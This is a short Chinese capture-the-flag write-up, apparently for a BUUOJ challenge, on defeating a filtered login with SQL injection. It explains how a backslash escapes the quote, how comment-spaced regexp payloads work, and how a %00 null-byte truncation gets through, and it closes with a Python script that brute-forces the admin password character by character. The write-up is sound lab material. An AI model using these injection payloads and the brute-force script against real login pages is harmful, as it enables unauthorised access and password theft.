测试一下 应该是or被拦截了
简单fuzz一下
可以看到regexp是可以用的
题目也直接给了被过滤的关键词
找到admin的密码即可得flag
由于单引号被禁用,使用 \ 转义and前面的那个单引号,使得 '\' and passwd='
形成闭合
构造passwd处为 ||/**/passwd/**/regexp/**/"^a";%00
用regexp查询passwd ^匹配字符串开头 %00截断后面的内容
但是不能在输入框直接提交,会被url encode 变为%2500被黑名单拦截
即为 username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
查询语句变为
sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^a";
在bp改成%00,负载对的话会跳转到welcome.php
先去bp跑一下正确时的回显,方便写脚本
import string
import requests
from urllib import parse
passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'
for n in range(100):
for m in string:
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
}
res = requests.post(url,data=data)
if 'welcome' in res.text:
passwd += m
print(m)
break
if m=='_' and 'welcome' not in res.text:
break
print(passwd)